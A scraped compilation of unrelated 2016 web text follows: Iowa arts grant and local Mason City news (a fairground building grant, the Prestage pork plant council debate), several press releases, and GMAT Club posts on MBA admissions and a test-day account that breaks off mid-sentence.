The Art Project Grant program offers grants from $1,000 to $10,000 to invest in projects that positively impact the vitality of the arts in the state. The Iowa Arts Council Fellowship program provides $10,000 grants to support the creation of new art work, as well as year-long professional development, networking and promotional resources.

Cultural Trust Stability Grants help Iowa cultural organizations make measureable progress toward goals of fiscal stability and best practices in organizational strategic planning and management. Applicants may apply for up to $2,500 and are required to provide $1 of matching funds for every dollar requested.
NORTHWOOD  The largest grant awarded this spring by the Worth County Development Authority is going toward a new multipurpose building to be built at the Worth County Fairgrounds.

The WCDA is awarding a $317,057 grant to Worth County Beautification for the building, which will include new offices for the fair and Iowa State University Extension, a community room and kitchen, and a storm shelter.

Per state law, Diamond Jo Casino near Northwood is required to pay 5.7 percent of revenue to the WCDA, the nonprofit group that holds its gaming license.

The WCDA distributes this revenue to schools, community projects and the county.

Myra Harris, secretary/treasurer of Worth County Beautification, said shes tickled to death about the grant for the multipurpose building.

It is so badly, badly needed in Worth County, she said.

The total cost of the project is estimated at $642,700.

Harris said $192,000 was raised through other grants and donations before Worth County Beautification applied for the WCDA grant.

The WCDA likes to see money has already been raised for projects because it shows they have community support, she said.

4-H and Extension will be able to use the community room for free. Anyone else can rent the room for showers, wedding receptions or other events.

The storm shelter in the basement will be a huge addition, according to Harris.

She said six out of the past 10 years theres been a big storm during the fair and we have had nowhere to go.

Harris said if enough money is raised, there will be storage space for old 4-H uniforms and other historical items related to 4-H and the fair so they can all be in one location that people can visit.

A groundbreaking ceremony for the building is planned for June 19, the last day of the Worth County Fair.

The contractor is ready to start digging a hole the next day, Harris said.

With the WCDA grant, theres only $138,000 more to raise for the building.

Harris said every donation helps, no matter how small.

Those who wish to donate are asked to write a check to Worth County Beautification and mail it to Harris at 1325 460th St., Northwood, IA 50459.
MASON CITY | Trinity Lutheran Church will host Wellness Wednesday next week at Wednesday Night Alive.

The evening begins with a meal from 5:15 to 6 p.m. in the Fellowship Hall for a free will offering.

Loren Toussaint will be the keynote speaker. His talk is titled, "Forgiving and Living: Finding Health and Happiness in a Forgiving Life."

Toussaint is an associate professor in the department of psychology at Luther College in Decorah as well as an associate director of the Sierra Leone Forgiveness Project. He is a consultant to the Mayo Clinic, the Department of Pastoral Care at Cancer Treatment Centers of America, and the Center for Health Policy at Boise State University.

Toussaints research examines religious and spiritual factors, especially forgiveness, and how they are related to health and well-being.

Wellness Wednesday events are open to the community.
MASON CITY  Opponents of the proposed pork processing plant came en masse to the City Council meeting Thursday night in an energized effort to thwart the project.

Several citizens also spoke in favor of the plant.

Prestage Foods of Iowa, home-based in North Carolina, is proposing to build a $240 million plant in southwest Mason City between Golden Grain Energy and the Avenue of the Saints. The company expects to hire about 1,000 workers in the first two years and another 1,000 within two years after that.

As they did at a council meeting two weeks ago, objectors raised concerns about environmental issues such as odors, runoff and the possibility of the proliferation of hog confinement facilities in North Iowa.

For more than an hour at the start of the meeting, City Administrator Brent Trout and Jere Null, chief operating officer of Prestage Foods of Iowa, discussed various citizens concerns about the project.

In answer to a question from Councilman Bill Schickel, Trout said he was confident there will be no danger to air and water quality because of all the safeguards that will be in place.

Null said the company is spending millions of dollars inside the plant to protect air and water quality.

Trout said he strongly recommends approval of the project because it is our first great opportunity to grow  the first chance for serious growth.

Councilman Alex Kuhn said he has concerns about turnover in the meat processing industry which he said some reports show is 50 percent. He said a constituent wrote him about the same concern, pointing out there could be a continuing influx of people moving in and out of the city.

Null said Prestages turnover rate companywide is about 23 percent.

City officials say they were first contacted by Prestage in December. Objectors say, among other things, the approval process has moved much too fast with too many questions unanswered.

On Wednesday, Prestage announced it would have a 2.5-mile buffer zone around Mason City, Clear Lake and the lake itself in which no confinement facilities will be built.

It also pledged to pay $1.4 million over a 10-year period ($140,000 a year) to the Mason City School District to help with adjustments the district is expected to have with the influx of new students.

On April 5, the council voted unanimously to approve terms for a development agreement with Prestage. Thursday night, after the public forum, the council was to consider approval of an urban renewal district to accommodate the plant.
MASON CITY -- Councilman Alex Kuhn broke ranks from other council members Thursday night and voted against moving forward with proposed Prestage Foods of Iowa pork processing plant.

The 5-1 vote was a procedural one, setting May 3 as the date for holding a public hearing and vote on the city's development agreement with Prestage. It came toward the end of a meeting that lasted just over seven hours.

Kuhn said he thought the city was giving away too much -- $15.5 million in incentives -- over too long a period of time to a wealthy company that was offering $13 an hour in base pay to employees.

"Does the industry deserve incentives for these kind of wages?" he asked. "Why do we have to give $15.5 million to get it? I'm not going to vote for a development agreement at any cost."

Councilman Travis Hickey said he didn't understand Kuhn's reasoning. "We have approved other agreements with these kinds of wages and you voted for them," he said.

The 5-1 vote came at 1:45 a.m. after council members heard 50 citizens speak during the public forum, 18 speaking in favor, 31 speaking against and one who just sought more information.

Prestage draws full house of critics, backers to council meeting MASON CITY  Seats for the Mason City Council meeting were at a premium Thursday as emotions
MASON CITY  Councilman Alex Kuhn broke ranks from other council members early Friday morning and voted against moving forward with the proposed Prestage Foods of Iowa pork processing plant.

The 5-1 vote was a procedural one, setting May 3 as the date for a public hearing followed by a vote on the citys development agreement with Prestage.

Kuhn said he thought the city was giving away way too much  $15.5 million in incentives  for a company that was offering $13 an hour in base pay.

Im not going to vote for a development agreement at any cost, he said.

The vote came toward the end of a council meeting that lasted more than seven hours and in which 50 people addressed the council. The majority of the speakers urged the council to reject the deal or to take more time to consider the drawbacks before reaching a decision.

Prestage is planning to build a $240 million pork processing plant in southwest Mason City between Golden Grain Energy and the Avenue of the Saints.

On Thursday the company lowered its hiring expectations. Originally it said it would hire about 2,000 workers in two phases over the next four years. That figure has been lowered to 1,772  922 in Phase I and 850 in Phase II.

Jodi Hardy of Mason City, who opposes the plan, said at the council meeting that the citys position is like a girl who befriends a snake. When she picks it up, the snake bites her and the girl is horrified. The snake says, You knew what I was when you picked me up.

Nathan Gann of Mason City said he grew up in St. Joseph, Missouri, which has a Triumph meat processing plant that city officials use frequently as an example for Mason City.

The house I grew up in for 18 years was 2 miles from the plant on the south end of town. `The dirty south, as that part of town is called, has been changed because of that plant, said Gann. Some good but a lot has been really bad.

Gann said at the St. Joseph plant, the turnover rate is so high because the work is insane. I can go on at length about the physical challenges and the negative atmosphere of such a place.

He asked the council: What will you do when thousands of new students flood our currently packed school facilities, or the influx of patients at Mercy? What will you do to deal with housing for hundreds of families? What are you going to do with those families that no longer have income because of the turnover rate  and little to no means to acquire new work? he asked.

Also Gann, pastor of Rhythm Church in Mason City, urged the city to slow down. He said when the Rhythm Church was being organized, it took 18 months to start a church with 100 members. The city has worked about six months on a project involving 2,000 people, he said.

Clear Lake area farmer Chris Petersen said Prestage is corporate socialism. Theyre dividing this town  and theyre outsiders, he said. People dont like pre-determined democracy. This is a nice place to live. I plead: Dont ruin it.

Several speakers, including state Rep. Sharon Steckman, D-Mason City, questioned how a pork processing plant would fit with Mason Citys reputation as a tourist attraction. She praised the council but urged council members to slow down.

Barbara MacGregor and her husband, Paul, both said they fear that government subsidies in the long run be more than the benefits the city will receive.

Many citizens spoke passionately in favor of the project.

Dick Mathes, a real estate agent, said property values will go up and taxes will go down. This opportunity is like winning the lottery, he said.

Wayne Fredericks of Osage, president of the Iowa Soybean Association, said Prestage will be an asset to the city. Economic activity brings life to a community. You have to have it or the community dies, he said.

Steve Weiss of Mason City said Prestage is a good fit for Mason City. Were the best in the world in agriculture. This fits our strength. It will reverse the decline in population, he said.

After hearing from the public, the council voted to set the May 3 date for considering the development agreement, following another public hearing.

Councilman Travis Hickey said, Heres where Im at  do we want to grow or not want to grow?

Councilman Brett Schoneman said he thought about how the city could market itself as a tourist town and also have a meat processing plant. So he called Phil Chodur, developer of the planned Marriott hotel downtown.
MASON CITY  Lt. Gov. Kim Reynolds praised Lincoln Intermediates integrated science and math curriculum during her STEM tour on Friday afternoon.

Reynolds praised many of the schools initiatives during her hour-long visit to the school including its long-running robotics club, science night and STEAM festival  which marries art with science, engineering and math.

Sixth-grade student Colton Ficken, 12, showed Reynolds his science project: a LEGO-display housing a small solar panel with a light.

I like getting my hands dirty, trying to find out new ways to build something, figure out an experiment, he said.

Reynolds co-chairs the Governors STEM Advisory Council, which provides a variety of grants each year to Iowa schools encouraging classroom instruction in in math, science and engineering-related fields.

Last fall, Lincoln Intermediate was one of 12 programs across the state to receive a $25,000 cost-matched grant from the organization to transform typical K-12 classroom environments or to unite business and education to develop clear pathways from science, technology, engineering and math education to STEM careers.

Lincolns program will cost-share more than $34,000 and partner with local businesses, including Curries, Bergland + Cram Architects and Farm Bureau to redesign its library information center. The redesign will allow students to collaborate, solve real-world problems and experience local STEM careers.

Last year, the school was also named its division winner of the National STEM Excellence Award at the Florida Educational Technology Conference in Orlando, Florida.

At John Adams Middle School, that school started its own robotics program this year for several former Lincoln Intermediate students, said teacher Ryan Dannen.

Last week, the team won second place at a robotics competition in Waukee.

Reynolds also toured Charles City schools later in the afternoon where she was scheduled to watch second-grade students show how they made animations, eighth-graders showing robotics and senior students hoping to design a certified nursing assistant class at the school.

I think if you look at the passion and the energy and the way that they are applying what they are learning, thats what we want, Reynolds said after the Lincoln Intermediate visit. Thats a successful learning experience for the kids.
IRVING, Texas, April 22, 2016 (GLOBE NEWSWIRE) -- International Western Petroleum, Inc. (OTCQB:INWP) is pleased to announce that on April 14, 2016 the Company was accepted by OTC Markets Group to trade on its OTCQB trading platform.



As one of leading markets in the U.S. designed for developing companies, OTCQB is already amongst the leading global venture markets, competing with the TSX-Venture exchange in Canada and the AIM market in the U.K. Today, there are nearly 1,000 venture stage companies traded on OTCQB that represents total market capitalization of $57.7 billion, making OTCQB very competitive to the 2 other venture markets as mentioned above.

Dr. Benjamin Tran, International Western Petroleums Chairman, said, We are very excited to join OTC Markets Group as a new fully reporting public company with the trading symbol INWP on its OTCQB platform. INWP is also looking for an option to uplist to the OTCQX in the near future.

As oil prices have started picking up lately, we look forward to a better future of our emerging growth company in the oil and gas sector as we commence trading soon. In the next few months, our management team has a plan to start roadshows to enhance our visibility and accelerate corporate growth upon our entry to the capital markets, commented its CEO Ross Ramsey.

U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for our company on www.otcmarkets.com/stock/INWP/quote.

About International Western Petroleum, Inc.:

International Western Petroleum is a Texas-based E&P company that focuses on the acquisition, development, and exploration of crude oil and natural gas properties in Texas. The company is actively looking to acquire oil and gas properties and apply the latest technologies and production know-how to increase acreage, productions and reserves with a focus in the Central West Texas region. For more information, please visit its corporate website: www.iwpetroleum.com
OVERLAND PARK, Kan., April 22, 2016 (GLOBE NEWSWIRE) -- Black & Veatchs microgrid, a system of distributed generation technologies aimed at boosting resilience and the use of renewable energy sources, has been selected for a prestigious Gold Edison Award. The companys microgrid system generates electricity through a combination of natural gas, solar energy, geothermal and battery storage at the companys World Headquarters in Overland Park.



The microgrid provides enough clean energy to run the headquarters 12,000 square-foot Rodman Innovation Pavilion. It can operate as an independent power source or in support of the traditional electric grid, adding resilience while lowering energy costs. The Edison Awards, which recognize excellence and creativity globally in new products and services, honored Black & Veatch in the Energy & Sustainability category at its April 21 gala in New York.

The Black & Veatch microgrid system integrates key renewable resources such as solar, geothermal and battery technology that deliver a sustainable and cost-effective supply of energy, said Ed Walsh, President of Black & Veatchs Power Business. It also provides a tangible training and education asset to better show the role of microgrids and how they can benefit clients around the world. This recognition from Edison further points to the importance of innovation and validates the continued need for greater energy efficiency.

The system also includes two natural gas-fired microturbines that deliver onsite electrical power generation. During winter months, heat is recovered from the microturbines to support climate control for the World Headquarters, the largest office building in Kansas. A geothermal heat pump system with 15 wells each drilled 500 feet deep also helps heat and cool the Pavilion. The microgrid system also uses battery technology to capture and store energy from generation resources and deliver electricity to the headquarters during times of high electric demand.

Visitors to the headquarters can view the microgrids output in real time on a large-screen monitor that graphically displays how each part of the microgrid is performing.

Microgrids are currently being evaluated as part of green building and sustainability efforts across a wide range of industrial and commercial projects, as well as in areas such as wastewater treatment plants and facilities generating power from renewable energy sources, said Jason Abiecunas, Distributed Generation Service Area Leader for Black & Veatch. Our microgrid is a living laboratory that gives us the capability to further advance new technologies in the distributed generation arena.

Editors Notes:

Microgrid benefits are especially strong in the developing world for their potential to tap reliable electric supplies and avoid interruption in the event of power outages.

Link to Black & Veatchs microgrid video: https://www.youtube.com/watch?v=jIWN6Uh0coU

About Black & Veatch

Black & Veatch is an employee-owned, global leader in building critical human infrastructure in Energy, Water, Telecommunications and Government Services. Since 1915, we have helped our clients improve the lives of people in over 100 countries through consulting, engineering, construction, operations and program management. Our revenues in 2015 were US$3.0 billion. Follow us on www.bv.com and in social media.
MILLWOOD, Va., April 22, 2016 (GLOBE NEWSWIRE) -- Project HOPE, the global health education and humanitarian assistance organization, announced today that its disaster response team is on the ground in Ecuador following the massive 7.8 magnitude earthquake that struck the country's central coast on Saturday, April 16, 2016. Aftershocks over the past several days, along with the latest reports of 6.0 magnitude quake off the same coastline, have rattled an already shaken nation. With rescue and recovery efforts ongoing, the latest estimates of nearly 600 fatalities and more than 7,000 injuries make this earthquake the deadliest to hit the country in nearly 30 years.



HOPE's Weretaw Behanu, a logistics manager and veteran responder to disasters, Teresa Narvaez, HOPE's country director in the Dominican Republic and a native Ecuadorian, and volunteer emergency nurse, Michele Chapa from Everett, WA, arrived in Ecuador Thursday. The Project HOPE team is coordinating with local officials and other international organizations to identify the most pressing humanitarian needs as assessed by the Ecuadorian Ministry of Health. If needed, Project HOPE will deploy additional high priority resources including the shipment and delivery of medical supplies and medicines as well as assembling medical volunteer teams, including surgeons, physicians and nurses, as required.



"Our team is in the region so we can determine firsthand the scope and magnitude of the quake and how we can best assist the Ministry of Health and the people of Ecuador," said Scott Crawford, Director of Humanitarian Assistance and Gifts-in-Kind at Project HOPE.



According to Ecuador's government officials and reports, there is significant damage to buildings and roads throughout the affected provinces of Manabi, Esmeraldas, Guayas, Santo Domingo, Los Rios, and Santa Elena, impacting efforts to reach affected areas and provide critical medical care. There is also the potential risk of survivors being exposed to infection and disease as a result of compromised infrastructure and water systems.



Project HOPE has responded to every major global disaster response effort in recent years providing volunteer medical support, delivery of urgently needed medicines and supplies as well as longer-term health system restoration in disaster zones including the Indian Ocean Tsunami in 2004, Hurricane Katrina in 2005, the earthquake in Haiti in 2010, Typhoon Haiyan in the Philippines in 2013, and the devastating earthquake in Nepal in 2015. In fact, HOPE's response in Ecuador comes on the eve of the tragic 2015 earthquake in Nepal, where the Project HOPE team has recently launched a two-year program to help rebuild a sustainable health system for families with little or no access to safe health care.



Project HOPE has a long history in Ecuador beginning with the third voyage of the SS HOPE which visited the country in 1963. At that time, Project HOPE volunteers treated widespread tuberculosis, parasitic diseases and malnutrition and then led a nutrition program for the poverty stricken county working with South American medical counterparts to improve health care for women and children.



More recently, HOPE volunteers aboard the USNS Comfort traveled to Ecuador in May of 2011 as part of the U.S. Navy's Continuing Promise mission. Along with Navy counterparts, HOPE medical volunteers provided health care to more than 5,200 Ecuadorians.



For more information about our efforts in Ecuador and around the world, visit our website at www.projecthope.org



About Project HOPE

Founded in 1958, Project HOPE (Health Opportunities for People Everywhere) is dedicated to providing lasting solutions to health problems with the mission of helping people to help themselves. Identifiable to many by the SS HOPE, the world's first peacetime hospital ship, Project HOPE now provides medical training and health education, and conducts humanitarian assistance programs in more than 30 countries. Visit our website projecthope.org and follow us on Twitter @projecthopeorg

Media Contact

Melanie Mullinax mmullinax@projecthope.org Tel. +1.540.630.1913

A photo accompanying this release is available at: http://www.globenewswire.com/newsroom/prs/?pkgid=39967
English Lithuanian

Rokiskio suris AB, Pramones str. 3, Rokiskis, Lithuania, 2016-04-22 18:43 CEST (GLOBE NEWSWIRE) -- The draft resolutions prepared by the Board of Directors of AB Rokiskio suris for the general meeting of shareholders to be held on 29th April 2016:

1. Auditors findings regarding the financial statements and annual report.

Debriefed.

2. The Audit Committee report.

Draft resolution:

To endorse the report of the Audit Committee.

3. The Companys consolidated annual report for the year 2015.

Debriefed with the consolidated annual report for the year 2015 of Rokiskio suris AB which is prepared by the Companys management, assessed by the Auditors and approved by the Board of Directors.

4. Approval of the consolidated and companys financial accounting for the year 2015.

Draft resolution:

To approve the audited consolidated and companys financial reports for the year 2015.

5. Allocation of the profit (loss) of the Company of 2015.

Draft resolution:

To approve the following profit (loss) distribution of the year 2015:

Title kEUR 1. Non-distributable profit (loss) at beginning of year 45,614 2. Approved by shareholders dividends related to the year 2014 - 3. Transfers from other reserves 2,585 4. Non-distributable profit (loss) at beginning of year after dividend payout and transfer to reserves 48,199 5. Net profit (loss) of the Company of fiscal year 3,879 6. Distributable profit (loss) of the Company 52,078 7. Profit share for mandatory reserve - 8. Profit share for other reserves - 9. Profit share for dividend payout (2,342) 10. Profit share for annual payments (tantiemes) to the Board of Directors, employee bonuses and other as accounted by Profit (loss) statement 775 11. Non-distributable profit (loss) at end of year transferred to the next fiscal year 49,735

1 It is distributed the profit earned by 2009

Dividends for the year 2015 are allocated to 33,453,391 shares, i.e. 0.07 eur per share (before taxes).

Persons entitled to receive dividends are those who are actual shareholders of the Company at the end of the tenth day after approval of the resolution for dividend pay-out by the general meeting of shareholders (shareholders proprietary right accounting day), i. e. May 13, 2016.

Pursuing the Laws of the Republic of Lithuania, dividends paid to physical bodies resided in the Republic of Lithuania as well as in foreign countries are subject to 15 per cent of residential income tax; Dividends paid to juridical bodies of the Republic of Lithuania as well as foreign countries are subject to 15 per cent of profit tax, unless it is stated differently the law.

6. Election of the Companys auditor and establishment of payment conditions.

Draft resolution :

To elect an audit company UAB PricewaterhouseCoopers to perform an audit of annual consolidated financial statements and evaluation of the annual report of the Group of AB Rokiskio suris and the Parent Company. Remuneration for the audit shall be identified by the Board of Directors. The Companys manager is authorized to sign an agreement with the audit company.
CLEVELAND, April 22, 2016 (GLOBE NEWSWIRE) -- Parker Hannifin Corporation (NYSE: PH), the global leader in motion and control technologies, today announced that its Board of Directors has declared a regular quarterly cash dividend of 63 cents per share of common stock to shareholders of record as of May 10, 2016. The dividend is payable June 3, 2016.

This is the company's 264th consecutive quarterly dividend. Parker has increased its annual dividends paid to shareholders for 60 consecutive fiscal years, among the top five longest-running dividend-increase records in the S&P 500 Index.

With annual sales of approximately $13 billion in fiscal year 2015, Parker Hannifin is the world's leading diversified manufacturer of motion and control technologies and systems, providing precision-engineered solutions for a wide variety of mobile, industrial and aerospace markets. The company has operations in 50 countries around the world. Parker has increased its annual dividends paid to shareholders for 60 consecutive fiscal years, among the top five longest-running dividend-increase records in the S&P 500 index. For more information, visit the company's website at www.parker.com, or its investor information website at www.phstock.com.

###
stonecold wrote:





Now I have a very specific situation (thats what i think ) so i am submitting my info to wthat reallyhich i would love to hear from anyone who has the adequate knowledge to address my concerns

Heres my BACKGROUND



10th grade=> 73%

12th grade => 74% (a science student)



Then i took an year off as i did not get into the a decent engineering college..Trust me here- i got into many colleges but all of them were Pretty much CRAP (sorry for the curse but i am being bluntly honest here)

In the mean time I assisted my father during the day and studied during night..I am not sure that experience will count for business schools nevertheless i am very proud that i did that as at an early age i got to understand as to how someone who runs an industry actually functions..

The Gap year proved fruitful as i got into GGSIPU Delhi plus i got a pretty good and a decorated college in the Capital city..

Engineering was Good in fact great ..



Aggregate=> 71%(B.Tech In Information tech)

Now to be honest with you guys i was working with my father during my engineAndering years as well ..I would literally pick up documents and do other chores for him (Yes He Paid Me too)



Here is the real problem why i wrote this piece =>

My age is 23 years and 330 days

I will be 24 next month..!!





I graduated in June 2015..

And from DAY 1 i have been working with my father in our Family business..

Initially i was hesitant to join him as i was an IT engineer and my family is into Footwear business. Then I started to love my job [Common we make shoes and other footwear's for a living. Who would not love that right ]

Now almost an year later i feel like i need to grow my business outreach..

Trust me when i say this - Work is Fine..But the glitch is => "i want to take my family Business to places" Actually i want that to be Awesome instead of just Fine (sorry for the choice of words )

Hence i need an MBA..

And to much of my surprise my father stands right by me in this decision..! In fact He told me that its a very mature move..!!



I know most of you might think its too early for an MBA

But honestly guys Waiting for another 2 or 3 years will not take my business anywhere .It will be in a stand still.



Plus i think i have the added advantage of working with my father in my initial GAP year where i assisted him if it counts.



So it goes without saying => I DON'T ONLY WANT AN MBA ; I NEED AN MBA..!!



secondly i am a bit confused about this work experience thing ..!!

Most of the business schools require 2 years of work experience in there applicants ..

What does 2 years mean?

till the program actually starts or till the time you fill out your application

If i apply in 2016 for fall 2017 admissions then by the time i actually start my school in September i will be having 2 years and 2 months of experience.. I guess that would do..???



WHAT ARE THE SCHOOLS I CAN TARGET ???



Top 20 can i get in ?

Okay Top30?

Top40?

i am flexible as long as it in the Top 40-45

Common Guys Help me get into top 40 at-least..!!!! I don't want to wait ..!!

I am into manufacturing shoes and other footwear so anything related to marketing and advertising would be Fabulous ..Plus i like Advertising.

Now if (only if) i wait another year( which probably would not do any good to my industry ) then will it increase my chances of getting admitted..



GMAT => Appearing this October..I think i can get a good score..i will try for 700 maybe ..I will Dig that (i have started preparing)



now to the most important part=>



Community services => I am an active part of an Organisation which rescues street dogs and treats them until they are healthy..I have been a part of this organisation from my engineering days ..the reason i do it it i honestly believe in the work we do..We organise dog shows too..



Positions held => "I am not given any designations actually .. I am responsible for marketing and supply ..Plus sometimes manufacturing too. Family business comes with several added responsibilities too

The Post MBA goals => " I WOULD LIKE TO RETURN TO MY HOME COUNTRY THE DAY AFTER I GET AN MBA . Off course i would like to do an internship however..But apart from that i have one any only one vision that is to Do Justice to my family business and take it to a level it deserves"



ANYONE WHO READS THIS Please Feel free TO POST any suggestions You guys Have for me... It will be really helpful..



Also i know that chetan2u Vyshak and Abhishek009 are Mathematics Wizards/Gmat experts and not admission consultants .But given that they have been super awesome in replying to every query i post(or anyone posts) i would love to hear from you guys as to what should i do..!! Any Advice guys?



Love and respect to everyone

Stone Cold





P.S => i am posting on multiple forums a i am looking for any advices i can get Hey Paul Lanzillotiii HOWDIEEEE.. to anyone who reads this...!!andNow I have a very specific situation (thats what i think ) so i am submitting my info to wthat reallyhich i would love to hear from anyone who has the adequate knowledge to address my concernsHeres my BACKGROUND10th grade=> 73%12th grade => 74% (a science student)Then i took an year off as i did not get into the a decent engineering college..Trust me here- i got into many colleges but all of them were Pretty much CRAP (sorry for the curse but i am being bluntly honest here)In the mean time I assisted my father during the day and studied during night..I am not sure that experience will count for business schools nevertheless i am very proud that i did that as at an early age i got to understand as to how someone who runs an industry actually functions..The Gap year proved fruitful as i got into GGSIPU Delhi plus i got a pretty good and a decorated college in the Capital city..Engineering was Good in fact great ..Aggregate=> 71%(B.Tech In Information tech)Now to be honest with you guys i was working with my father during my engineAndering years as well ..I would literally pick up documents and do other chores for him (Yes He Paid Me too)Here is the real problem why i wrote this piece =>My age is 23 years and 330 daysI will be 24 next month..!!I graduated in June 2015..And from DAY 1 i have been working with my father in our Family business..Initially i was hesitant to join him as i was an IT engineer and my family is into Footwear business. Then I started to love my job [Common we make shoes and other footwear's for a living. Who would not love that rightNow almost an year later i feel like i need to grow my business outreach..Trust me when i say this - Work is Fine..But the glitch is => "i want to take my family Business to places" Actually i want that to be Awesome instead of just Fine (sorry for the choice of words )Hence i need an MBA..And to much of my surprise my father stands right by me in this decision..! In fact He told me that its a very mature move..!!I know most of you might think its too early for an MBABut honestly guys Waiting for another 2 or 3 years will not take my business anywhere .It will be in a stand still.Plus i think i have the added advantage of working with my father in my initial GAP year where i assisted him if it counts.So it goes without saying => I DON'T ONLY WANT AN MBA ; I NEED AN MBA..!!secondly i am a bit confused about this work experience thing ..!!Most of the business schools require 2 years of work experience in there applicants ..What does 2 years mean?till the program actually starts or till the time you fill out your applicationIf i apply in 2016 for fall 2017 admissions then by the time i actually start my school in September i will be having 2 years and 2 months of experience.. I guess that would do..???WHAT ARE THE SCHOOLS I CAN TARGET ???Top 20 can i get in ?Okay Top30?Top40?i am flexible as long as it in the Top 40-45Common Guys Help me get into top 40 at-least..!!!! I don't want to wait ..!!I am into manufacturing shoes and other footwear so anything related to marketing and advertising would be Fabulous ..Plus i like Advertising.Now if (only if) i wait another year( which probably would not do any good to my industry ) then will it increase my chances of getting admitted..GMAT => Appearing this October..I think i can get a good score..i will try for 700 maybe ..I will Dig that (i have started preparing)now to the most important part=>Community services => I am an active part of an Organisation which rescues street dogs and treats them until they are healthy..I have been a part of this organisation from my engineering days ..the reason i do it it i honestly believe in the work we do..We organise dog shows too..Positions held => "I am not given any designations actually .. I am responsible for marketing and supply ..Plus sometimes manufacturing too. Family business comes with several added responsibilities tooThe Post MBA goals => " I WOULD LIKE TO RETURN TO MY HOME COUNTRY THE DAY AFTER I GET AN MBA . Off course i would like to do an internship however..But apart from that i have one any only one vision that is to Do Justice to my family business and take it to a level it deserves"ANYONE WHO READS THIS Please Feel free TO POST any suggestions You guys Have for me... It will be really helpful..Also i know that chetan2u Vyshak and Abhishek009 are Mathematics Wizards/Gmat experts and not admission consultants .But given that they have been super awesome in replying to every query i post(or anyone posts) i would love to hear from you guys as to what should i do..!! Any Advice guys?Love and respect to everyoneStone ColdP.S => i am posting on multiple forums a i am looking for any advices i can get

Hi stonecold:Thanks for reaching out to me. And I hope I can do your post justice, it seemed like you might have written it while on a lot of caffeine. So hopefully I can emulate that level of intensity!Within your epic post, I had to really look to see what you wanted me to help you with. This what I believe you want to know:What constitutes appropriate work experience?I think you are getting some of these definitions conflated. The way the admissions committee is going to define and evaluate this is based on the amount of work experience you have when you apply. After all, it is very hard for them to evaluate work experience that you have not yet completed. However, when an admissions committee says most of their incoming students have X years of work experience, they are counting all of the months/years of experience their incoming batch of accepted students As the day they set foot on campus.Since you graduated last summer (2015), you will have about 15 months of full time experience by the time you apply. Now, I do understand The nature of your undergraduate work experience, which was with your family business. That should definitely help show continuity, as well as bolster any claims you make around The roles you may be fulfilling now within your family business. For example, you may be considered a manager within your family business now. But perhaps this might not normally be an appropriate role for someone who has your months of experience. However, it is justified in your case because you have been working there for quite a while and you been working directly with your father. So your management and career trajectory has been accelerated because of the nature of the business. I point this out because you need to have good title (and of course related management experience) since you lack sheer number of work months. And admissions committees will call bullshit if the title does not match the duration - its probably one of the biggest red flags that the admissions committee will see. This, and just whack goals.Are you too young to go to b-school?I bring this up because you mentioned your age. This is a minor point, but remember it's not the age, but rather your months of work experience. Sure, the two are correlated, but just focus on the quality, duration and progression of your work experience.What are some programs that offer you specialized programs - the types of programs that will help you in the future role of the family business?Since you really should state that you are going to return to your family business and, and take it to the next level  whatever that entails  you should define goals that resonate well with programs who specialize in operations and manufacturing.I've pulled together this list, which I still have to vet completely, by just running through some rough numbers on the Employment reports from some top schools. My advice is to go through all of the employment reports for each one of the top 30 or 40 schools. This is the level of due diligence that you have to conduct in order to find the right answer to the question  what school is right for me? After all you are going to pay 100's of thousands of dollars for your MBA and you really want to make sure that money has a good ROI.Please note that the numbers for MIT Sloan and Michigan Ross are not correct. They way the list these numbers out on their employment reports seemed weird to me so I may have not counted right. But you should consider both these schools as being among the best in the world when it comes to operations/manufacturing.Is a 700 GMAT score enough to get me into these programs?Yes - if you want to go to a 20+ ranked program.No - if you want to go to a top 20 ranked program. You should hit around a 740.I hope all of the above helps. If you want to schedule some time to speak over the phone, for a one hour initial consultation, please email me at mba@amerasiaconsulting.com . Please references conversation as well.Respectfully,,Paul Lanzillotti_________________
I have to admit it was really a bizarre day.

IR

Quants -



Verbal -

I took GMAT yesterday for the second time and wanted to share my experience in the quick 5 minutes i have. I do not consider myself anymore than average and for now, i am happy to hit the 700 mark (actually just too happy, sorry to gloat) Hoping my 2 cents will help others.First GMAT score 6603 months breakSecond GMAT score 720 (Q 49 V 40) (Altho, i scored way low on IR, a score of 5 . Awaiting score on AWA but again, not expecting it to do wonders)seemed very difficult but i decided to not worry about it.I was worrying like crazy thru out this section bcoz it did not seem hard enough. And i was hoping test will get difficult as i go along so still kept trying to finish question fast and save time for later. here i was finishing entire section and still 15 minutes remaining. i guess I am an engineer and the section just played to my strength. But of course, i did not know it at the time of test. Felt like sweating so to calm myself i just sat on 37th question and tried to take a power nap and hit the submit button when 1 min was remaining.verbal is not my strength. Test seemed so difficult that i remember at one point i felt like leaving everything, throwing my stuff and go in a corner and just cry and cry. Of course, i decided not to do that and instead, put my best and i was hoping my second attempt will be at least slightly better than first time around. I am not great at SC but SC seemed okay. It was CR and RC driving me crazy. CR seemed so tough, i was feeling heat at my face (i did think CR my strength before the test though). As I was trying to go through the questions, i could honestly feel the blood rushing to my brains (i did say Bizarre day, didn't I) . I consider myself okay in RC but yet in test, it felt like text was so dense that i had to re-read and re-read certain portions to make sense of it. Also, i felt way rushed towards the end. I had 1 min for each question for last 10 questions (10-8 Qs, not 100% sure). I decided to put my best of that one minute and just click the answer i thought was correct and move forward (usually in practice i always lingered way too longer to make sure answer i select is correct.)Believe it or not, i literally used my brains to a level and i was so much engrossed, a mental state i never thought or felt before. i was shaking for 5 minutes after the test and even when i had score in my hand i could barely make sense of it. My brain was so tired. my face was all red with heat.Finally, i did realize i have done well and i can stop worryingFood - i am a vegetarian and with a handful of protein allergies (yes allergy to veggie proteins). Also, i can never stay hungry for too long. i usually eat every 2-3 hours. so food was a concern for me. i ate salad with extra vegan protein night before. morning of the test, i had my regular plain oatmeal and ate a bagel/cream cheese with big latte a while before the test (which is my usual morning eating routine). my test was from 12 onwards. I took few apple slices and some nuts/raisins. It was a super hot day so i took water and a can of coconut water. I felt thru out the test as if i am in a hypnotic state. to my own surprise, i ate my entire food supply including water and ate like a pig (really the manner, i was stuffing food in my mouth). i felt so hungry and i could feel my brains. (i usually get headaches if my sugar goes down so yea, that explains in part). Food is imp for your brain to function so know yourself and act accordingly. Generally, it is recommended to eat some protein during/night before the test and avoid white sugar. at the risk of sounding so foodie, i learnt this in my first GMAT attempt that it is not your stomach that will howl for food (yes, you would barely notice) but your head (esp towards the last section, i remember feeling queasy)Breaks - first break i was back in 2 mins but of course, proctor hit the button too soon so i did not really rest for remaining 6 min. second break, i was late for 1 min (yeah, second time around, my palm 